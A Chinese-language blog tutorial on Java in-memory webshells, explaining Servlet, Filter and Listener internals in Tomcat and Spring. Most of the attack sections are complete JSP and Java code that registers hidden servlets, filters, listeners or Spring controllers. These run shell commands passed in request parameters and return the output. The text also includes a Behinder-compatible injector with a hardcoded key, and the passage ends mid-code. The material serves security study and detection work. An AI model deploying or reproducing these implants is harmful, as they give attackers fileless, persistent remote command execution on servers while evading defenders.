一文了解内存马

时间:2022-11-06
本文章向大家介绍一文了解内存马,主要内容包括一文了解内存马、三、内存马原理与实现、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

一文了解内存马

前言

随着攻防对抗的博弈愈发激烈,流量分析、EDR等专业安全设备被防守方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,webshell终于进入内存马时代,其关键在于无文件,利用中间件的进程执行恶意代码。本文试图进行一个学习,尽可能搞明白其来龙去脉

一、基础知识

1、Java web三大件

详情可参考:java web请求三大器——listener、filter、servlet

启动的顺序为listener->Filter->servlet,但是执行顺序与其特性相关,下面简单讲一下三大件

(1)Servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层,负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

请求的处理过程:

  • 客户端发起一个HTTP请求,比如GET类型
  • Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象
  • Servlet容器调用HttpServlet的init()方法,init()方法只在第一次请求的时候被调用
  • Servlet容器调用service()方法,service()方法根据请求类型,这里是GET类型,分别调用doGet或者doPost方法,这里调用doGet方法,doXXX方法中是我们自己写的业务逻辑
  • 业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端
  • 容器关闭时候,会调用destory方法

生命周期:

  • 服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)
  • servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行
  • 服务器关闭时,销毁这个servlet对象,执行destroy()方法
  • 由JVM进行垃圾回收

(2)Filter

Filter,过滤器,是对Servlet技术的一个强补充,其主要功能是

  • 在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据
  • 在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据

基本工作原理

  • Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的
  • 当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改
  • 当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法
  • 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的
  • 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能
  • 如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求

生命周期:

  • 与Servlet一样,Filter的创建和销毁也由web容器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)
  • 开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象
  • Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

filter链

  • 当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter
  • 当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter

(3)Listener

JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件:

  • ServletContextListener:对Servlet上下文的创建和销毁进行监听
  • ServletContextAttributeListener:监听Servlet上下文属性的添加、删除和替换
  • HttpSessionListener:对Session的创建和销毁进行监听。Session的销毁有两种情况,一个中Session超时,还有一种是通过调用Session对象的invalidate()方法使session失效
  • HttpSessionAttributeListener:对Session对象中属性的添加、删除和替换进行监听
  • ServletRequestListener:对请求对象的初始化和销毁进行监听
  • ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听

用途

  • 可以使用监听器监听客户端的请求、服务端的操作等
  • 可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等

生命周期

  • listener的生命周期从web容器启动,到web容器销毁

2、Tomcat

详情可参考:Tomcat 架构原理解析到架构设计借鉴(这篇真的很详细具体)

简单理解,Tomcat是HTTP服务器+Servlet容器,对我们屏蔽了应用层协议和网络通信细节,给我们的是标准的 Request 和 Response 对象;对于具体的业务逻辑则作为变化点,交给我们来实现

3、其

(1)Java 反射

Java反射无比强大,许多功能底层都是反射,其主要步骤包括:

  • 获取目标类型的Class对象
  • 通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
  • 通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作

(2)Java Instrumentation

Instrumentation是Java提供的一个来自JVM的接口,该接口提供了一系列查看和操作Java类定义的方法,例如修改类的字节码、向classLoader的classpath下加入jar文件等,使得开发者可以通过Java语言来操作和监控JVM内部的一些状态,进而实现Java程序的监控分析,甚至实现一些特殊功能(如AOP、热部署)

Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互

在注入内存马的过程中,我们可以利用java Instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码

二、内存马概述

1、简史

(1)webshell的变迁过程

大致如下:

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马

这里用lex1993师傅的图小结下之前的webshell:

(2)内存马的变迁过程

内存马早在17年n1nty师傅的Tomcat 源代码调试笔记 - 看不见的 Shell中已初见端倪,但一直不温不火

18年经过rebeyong师傅使用agent技术加持后,拓展了内存马的使用场景—— 利用“进程注入”实现无文件不死webshell,然终停留在奇技淫巧上

在各类HW洗礼之后,文件shell明显气数已尽。内存马以救命稻草的身份重回大众视野。20年,LandGrey师傅构造了Spring controller内存马——基于内存 Webshell 的无文件攻击技术研究可以算是一波热潮起

至此内存马开枝散叶发展出了三大类型:

  • servlet-api类:filter型、servlet型、listener型
  • spring类:interceptor型、controller型
  • Java Instrumentation类:agent型

当然还有tomcat、weblogic等框架、容器的内存马

2、内存马简介

目标:访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果

实现:以java为例,客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。

三、内存马原理与实现

先放个各种demo的仓库:https://github.com/jweny/MemShellDemo

1、Servlet型

(1)注册过程

直接查看添加一个servlet后StandardContext的变化

  <servlet>
        <servlet-name>servletDemo</servlet-name>
        <servlet-class>com.yzddmr6.servletDemo</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>servletDemo</servlet-name>
        <url-pattern>/demo</url-pattern>
    </servlet-mapping>

我们的servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装

一个child对应一个封装了Servlet的StandardWrapper对象,其中有servlet的名字跟对应的类。StandardWrapper对应配置文件中的如下节点:

  <servlet>
        <servlet-name>servletDemo</servlet-name>
        <servlet-class>com.yzddmr6.servletDemo</servlet-class>
    </servlet>

servlet有对应的servletMappings,记录了urlParttern跟所对应的servlet的关系

servletMappings对应配置文件中的如下节点:

  <servlet-mapping>
        <servlet-name>servletDemo</servlet-name>
        <url-pattern>/demo</url-pattern>
    </servlet-mapping>

(2)内存马

过程:

  • 创建一个恶意的servlet
  • 获取当前的StandardContext
  • 将恶意servlet封装成wrapper添加到StandardContext的children当中
  • 添加ServletMapping将访问的URL和wrapper进行绑定

执行下面的代码,访问当前应用的/shell路径,加上cmd参数就可以命令执行

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>


<%
    // 创建恶意Servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {


        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {


        }
    };


    %>
<%
    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();


    // 用Wrapper对其进行封装
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("jweny");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());


    // 添加封装后的恶意Wrapper到StandardContext的children当中
    standardCtx.addChild(newWrapper);


    // 添加ServletMapping将访问的URL和Servlet进行绑定
    standardCtx.addServletMapping("/shell","jweny");
%>

(3)另一个实现

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.annotation.WebServlet"%>
<%@ page import = "javax.servlet.http.HttpServlet"%>
<%@ page import = "javax.servlet.http.HttpServletRequest"%>
<%@ page import = "javax.servlet.http.HttpServletResponse"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>




<!-- 1 request this file -->
<!-- 2 request thisfile/../evilpage?cmd=calc -->




<%
class EvilServlet implements Servlet{
    @Override
    public void init(ServletConfig config) throws ServletException {}
    @Override
    public String getServletInfo() {return null;}
    @Override
    public void destroy() {}    public ServletConfig getServletConfig() {return null;}

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        HttpServletRequest request1 = (HttpServletRequest) req;
        HttpServletResponse response1 = (HttpServletResponse) res;
        if (request1.getParameter("cmd") != null){
            Runtime.getRuntime().exec(request1.getParameter("cmd"));
        }
        else{
            response1.sendError(HttpServletResponse.SC_NOT_FOUND);
        }
    }
}
%>




<%
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 
EvilServlet evilServlet = new EvilServlet();
org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper();
evilWrapper.setName("evilPage");
evilWrapper.setLoadOnStartup(1);
evilWrapper.setServlet(evilServlet);
evilWrapper.setServletClass(evilServlet.getClass().getName());
standardContext.addChild(evilWrapper);
standardContext.addServletMapping("/evilpage", "evilPage");
out.println("动态注入servlet成功");
%>

2、Filter型

(1)注册流程

可以看到请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行

自定义一个filter

package com.yzddmr6;


import javax.servlet.*;
import java.io.IOException;


public class filterDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter初始化创建....");
    }


    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        System.out.println("进行过滤操作......");
        // 放行
        chain.doFilter(request, response);
    }
    @Override
    public void destroy() {
    }
}

然后在web.xml中注册我们的filter,这里我们设置url-pattern为 /demo 即访问 /demo 才会触发

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">


    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filter.filterDemo</filter-class>
    </filter>


    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/demo</url-pattern>
    </filter-mapping>


</web-app>

访问 http://localhost:8080/demo ,发现成功触发

整个流程可以用宽字节安全的图来小结:

  • 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
  • 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  • 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  • ilterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法

其中的一些类如下:

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern。对应了web.xml中配置的<filter-mapping>,里面代表了各个filter之间的调用顺序
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • WebXml:存放 web.xml 中内容的类
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

(2)内存马

过程:

  • 创建恶意filter
  • 用filterDef对filter进行封装
  • 将filterDef添加到filterDefs跟filterConfigs中
  • 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中。要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启

访问下面这个jsp,注入成功后,用?cmd=即可命令执行(该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3):

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>


<%
    final String name = "KpLi0rn";
    ServletContext servletContext = request.getSession().getServletContext();


    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);


    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);


    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);


    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {


            }


            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }


            @Override
            public void destroy() {


            }


        };




        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);


        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());


        standardContext.addFilterMapBefore(filterMap);


        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);


        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

(3)另一个实现

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>


<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->


<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>




<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.annotation.WebServlet" %>
<%@ page import = "javax.servlet.http.HttpServlet" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "javax.servlet.http.HttpServletResponse" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Map" %>




<!-- 1 revise the import class with correct tomcat version -->
<!-- 2 request this jsp file -->
<!-- 3 request xxxx/this file/../abcd?cmdc=calc -->


<%
class DefaultFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        HttpServletResponse response = (HttpServletResponse) servletResponse;
        if (req.getParameter("cmdc") != null) {
            Runtime.getRuntime().exec(req.getParameter("cmdc"));
            response.getWriter().println("exec done");
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
    public void destroy() {}

}
%>




<%
String name = "DefaultFilter";
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); 
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
    DefaultFilter filter = new DefaultFilter();
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);
    standardContext.addFilterDef(filterDef);
    FilterMap filterMap = new FilterMap();
    // filterMap.addURLPattern("/*");
    filterMap.addURLPattern("/abcd");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
    filterConfigs.put(name, filterConfig);
    out.write("Inject success!");
}
else{
    out.write("Injected");
}
%>

3、Listener型

Listener的监听主要分为三类:

  • ServletContext监听:用于对Servlet整个上下文进行监听(创建、销毁)
  • Session监听:对Session的整体状态的监听
  • Request监听:用于对Request请求进行监听(创建、销毁)

对于这三类,熟悉java和Tomcat的同学应该知道,对于request的请求和篡改是常见的利用方式,另两者涉及到服务器的启动跟停止,或者是Session的建立跟销毁,就不太适合

(1)内存马

过程:

  • 创建恶意Listener
  • 将其添加到ApplicationEventListener中去

上传并访问下面这个jsp文件

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
  Object obj = request.getServletContext();
  java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
  field.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
  //获取ApplicationContext
  field = applicationContext.getClass().getDeclaredField("context");
  field.setAccessible(true);
  StandardContext standardContext = (StandardContext) field.get(applicationContext);
  //获取StandardContext
  ListenerDemo listenerdemo = new ListenerDemo();
  //创建能够执行命令的Listener
  standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
  public class ListenerDemo implements ServletRequestListener {
  public void requestDestroyed(ServletRequestEvent sre) {
    System.out.println("requestDestroyed");
  }
  public void requestInitialized(ServletRequestEvent sre) {
    System.out.println("requestInitialized");
    try{
      String cmd = sre.getServletRequest().getParameter("cmd");
      Runtime.getRuntime().exec(cmd);
    }catch (Exception e ){
      //e.printStackTrace();
    }
  }
}
%>

接下来访问任意路径,并传入cmd参数命令执行

(2)另一个实现

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<!-- 1、exec this-->
<!-- 2、request any url with a parameter of "shell" -->


<%
class S implements ServletRequestListener{
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

    }
    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        if(request.getParameter("shell") != null){
            try {
                Runtime.getRuntime().exec(request.getParameter("shell"));
            } catch (IOException e) {}
        }
    }
}
%>


<%
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
out.println("inject success");
S servletRequestListener = new S();
standardContext.addApplicationEventListener(servletRequestListener);
%>
<!-- 1、exec this-->
<!-- 2、request any url with a parameter of "shell" -->

4、Spring controller型

参考这两篇:

    基于内存 Webshell 的无文件攻击技术研究
    针对spring mvc的controller内存马-学习和实验(注入菜刀和冰蝎可用的马)

相较于前面的三种,这种是真正的无文件

过程:

在不使用注解和修改配置文件的情况下,使用纯 java 代码来获得当前代码运行时的上下文环境

在不使用注解和修改配置文件的情况下,使用纯 java 代码在上下文环境中手动注册一个 controller

controller 中写入 Webshell 逻辑,达到和 Webshell 的 URL 进行交互回显的效果

(1)获得上下文

4个方法如下:

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

(2)注册controller

核心步骤如下(这里需要注意下spring的版本,详情可见上面两篇文章):

public class InjectToController{
    public InjectToController(){
    // 1. 利用spring内部方法获取context
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    // 2. 从context中获得 RequestMappingHandlerMapping 的实例
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    // 3. 通过反射获得自定义 controller 中的 Method 对象
    Method method2 = InjectToController.class.getMethod("test");
    // 4. 定义访问 controller 的 URL 地址
    PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
    // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    // 6. 在内存中动态注册 controller
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    InjectToController injectToController = new InjectToController("aaa");
    mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    public void test() {
        xxx
    }
}

(3)webshell

用来执行命令回显的 Webshell 代码示例:

package me.landgrey;


import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;


import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;


@Controller
public class SSOLogin {


    @RequestMapping(value = "/favicon")
    public void login(HttpServletRequest request, HttpServletResponse response){
        try {
            String arg0 = request.getParameter("code");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){
        }
    }
}

(4)结合冰蝎

import org.apache.catalina.connector.CoyoteReader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.io.*;
import java.net.*;
import java.sql.*;
import java.text.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.PageContext;
//import org.apache.jasper.runtime.PageContextImpl;
import org.apache.taglibs.standard.lang.jstl.test.PageContextImpl;
import org.apache.jasper.servlet.JasperLoader;




public class InjectToController extends ClassLoader {
    private final String injectUrlPath = "/malicious";
    private final String k="e45e329feb5d925b"; /* 该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond */


    public Class g(byte []b){
        return super.defineClass(b, 0, b.length);
    }


    public InjectToController(ClassLoader c){super(c);}


    public InjectToController(String aaa) {}


    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {


        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);


        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
        // java.lang.ClassLoader
        // Method method1 = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredMethod("getMappings");
        // method1.setAccessible(true);
        // Map mappingLookup = (Map) method1.invoke(mappingRegistry);


        Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
        field.setAccessible(true);
        Map urlLookup = (Map) field.get(mappingRegistry);
